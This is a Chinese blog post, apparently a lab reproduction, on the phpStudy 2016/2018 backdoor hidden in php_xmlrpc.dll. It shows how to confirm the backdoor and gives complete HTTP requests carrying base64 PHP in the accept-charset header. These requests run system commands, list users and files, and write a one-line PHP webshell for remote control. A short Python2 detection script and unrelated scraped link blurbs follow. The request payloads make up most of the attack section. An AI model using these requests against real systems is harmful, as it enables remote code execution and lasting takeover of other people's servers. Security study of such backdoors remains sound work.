参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883

感谢大佬分享!!

SSRF漏洞学习终于告一段落,很早就知道phpstudy爆出来有后门,爆出漏洞的过程好像还挺奇葩的,时间也不算很充裕,今天简单学习下。

影响版本

目前已知受影响的phpStudy版本

phpstudy 2016版php-5.4  

phpstudy 2018版php-5.2.17

phpstudy 2018版php-5.4.45

后门位置

phpStudy2016和phpStudy2018自带php-5.2.17、php-5.4.45

后门隐藏在程序自带的php的php_xmlrpc.dll模块

在*:\PhpStudy20180211\PHPTutorial\php\php-5.2.17\ext找到php_xmlrpc.dll
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
用notepad打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:

说明:存在后门!!!!

要求

  1. 请求任意后缀为php的文件
  2. 存在Accept-Encoding: gzip,deflate
  3. accept-charset: 这里就是你要执行的代码命令(经过base64加密)

漏洞复现

exp_net user

GET /index.php HTTP/1.1
Host: 192.168.31.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 //主要是这行 base64解码之后就是 echo system("net user");
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

远程命令执行成功,在响应中,可查看到电脑中的用户

exp_system('calc.exe')

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdjYWxjLmV4ZScpOw // base64 解码之后 system('calc.exe'); calc.exe是计算器
Upgrade-Insecure-Requests: 1

 exp_写一句话木马菜刀链接

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
//system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');
Upgrade-Insecure-Requests: 1

可能遇到的问题

  1. 若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell
GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

2.复现漏洞的过程中,我自己遇到一个问题,请求包放到repeater时,会加入很多的空格。

Accept-Encoding: gzip, deflate

在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。

漏洞检测脚本(python2)

import urllib2
import sys
import zlib headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
"content-type": "text/xml",
"Connection": "close",
"Accept-Language":" zh-CN,zh;q=0.9",
"Accept-Charset":"ZWNobyAnYmFja2Rvb3InOw==",
"Accept-Encoding":"gzip,deflate",
"Upgrade-Insecure-Requests":"1",
} def check(target):
GetTarget = urllib2.Request(url=target,headers=headers)
response = urllib2.urlopen(GetTarget)
result = response.read() if response.info().get('Content-Encoding') == 'gzip':
result = zlib.decompress(result, 16+zlib.MAX_WBITS) if 'phpstudy backdoor' in result:
print('{0} {1}'.format(target,'存在后门'))
else:
print('{0} {1}'.format(target,'不存在后门')) if __name__ == '__main__':
print 'PHPStudy 后门检测工具'
print '正在检测 ', sys.argv[1]
check(sys.argv[1])

注意啊,这是python2的环境,现在urllib2库现在没有了!!!!

phpStudy后门分析及复现的更多相关文章

  1. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

  2. 使用Ghidra分析phpStudy后门

    一.工具和平台 主要工具: Kali Linux Ghidra 9.0.4 010Editor 9.0.2 样本环境: Windows7 phpStudy 20180211 二 .分析过程 先在 Wi ...

  3. 2019-9-28:渗透测试,phpstudy后门,利用复现

    9月20号爆出Phpstudy存在隐藏后门,简单复现下后门效果 该文章仅供学习,利用方法来自网络文章,仅供参考 目标机:win7系统,安装phpstudy 2018版,php版本5.2或php 5.4 ...

  4. phpstudy后门复现遇到的坑

    这几天遇到一个phpstudy后门的站之前没复现过,结果遇到了深坑记录一下 首先用这个脚本去验证是没问题的: https://github.com/NS-Sp4ce/PHPStudy_BackDoor ...

  5. PHPStudy后门事件分析

    PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门.经过分析除了有反向连接木马之外,还可以正向执行任意php代码. 影响版本 P ...

  6. 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库

    概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...

  7. DLink 815路由器栈溢出漏洞分析与复现

    DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...

  8. 【漏洞复现】PHPStudy后门

    0x01 概述 Phpstudy软件是国内一款免费的PHP调试环境程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimizer多款软件一次性安装,无需配置即可 ...

  9. 黑龙江网络安全技能竞赛awd后门分析复现

    0x0环境 0x1分析复现 0x2感想 围绕主办方留下的浅显后门可以打满整场,想拿第一还是要搞定深层后门

随机推荐

  1. ABBYY FineReader 14扫描和保存文档

    在ABBYY FineReader 14中您可以使用扫描"新建任务"窗口选项卡上的内置任务创建各种格式的数字文档.本文介绍使用FineReader 14扫描和保存文档的方法. 1. ...

  2. ABBYY FineReader 14创建PDF文档功能解析

    使用ABBYY FineReader,您可以轻松查看和编辑任何类型的 PDF,真的是一款实至名归的PDF编辑转换器,您知道的,它能够保护.签署和编辑PDF文档,甚至还可以创建PDF文档,本文和小编一起 ...

  3. ABBYY FineReader 15新增编辑页面布局功能

    ABBYY FineReader 15(Windows系统) 新增编辑页面布局功能,允许用户修改PDF数字文档的页面布局,包括添加或者删除文字段落,文字块以及图片,更改段落,文字块,图片位置.添加或者 ...

  4. Camtasia制作视频分割与视频拼接

    视频的分割与拼接是在制作和编辑视频中经常用到的方法,运用Camtasia视频编辑器能够让视频制作更加的简单和便捷.Camtasia是一款录频软件和视频编辑器,可以进行屏幕录制.拖放视频等操作.小编采用 ...

  5. 教你用Camtasia制作精美片头

    大家都知道在视频播放中,如果有一个令人印象深刻的精彩开头,整个视频的内容都能因此得到不少升华.所以有一个好的片头对于视频的制作来说十分重要.今天我们就来讲一下用Camtasia制作片头的方法. 首先, ...

  6. 怎么用导图软件iMindMap整理C语言知识点

    C语言是一门非常基础的编程语言,学习它的难点不在于语言的理解,而在于繁琐的记忆点,而当我们使用思维导图将细碎的知识点拉到框架中去后,C语言的难度就大大降低了. 接下来就为大家介绍一下我使用iMindM ...

  7. 如何使用MathType输入贝塔符号?

    在文档中使用公式,常常需要输入各种符号.比如要输入三角函数公式,那么就要输入三角函数中的阿尔法α.贝塔β等符号,那么要怎么打出这类符号呢? MathType作为强大的数学公式编辑器,可以用来编辑各种数 ...

  8. 借助Mac自带的强大的搜索功能,如何快速搜索打开Tuxera Disk Manager

    现在很多小伙伴们在遇到Mac读写NTFS格式硬盘问题的时候,都会选择使用Tuxera NTFS这个磁盘读写工具.因为这款读写工具不仅可以帮助我们进行读写工作,还具有一个磁盘管理工具Disk Manag ...

  9. 对于this和当前线程的一些理解

    在学习这个InheritableThreadLocal类的时候,我对于有个地方一直没有理解,我发现了盲点. 1 private void init(ThreadGroup g, Runnable ta ...

  10. docker 中的mysql启动端口号总是被占用解决

    解决: 1 查 netstat -lnp|grep 3306 2 杀 kill -9 3819 3 再查 netstat -lnp|grep 3306 4 发现还有,杀不尽 5 重启docker 6 ...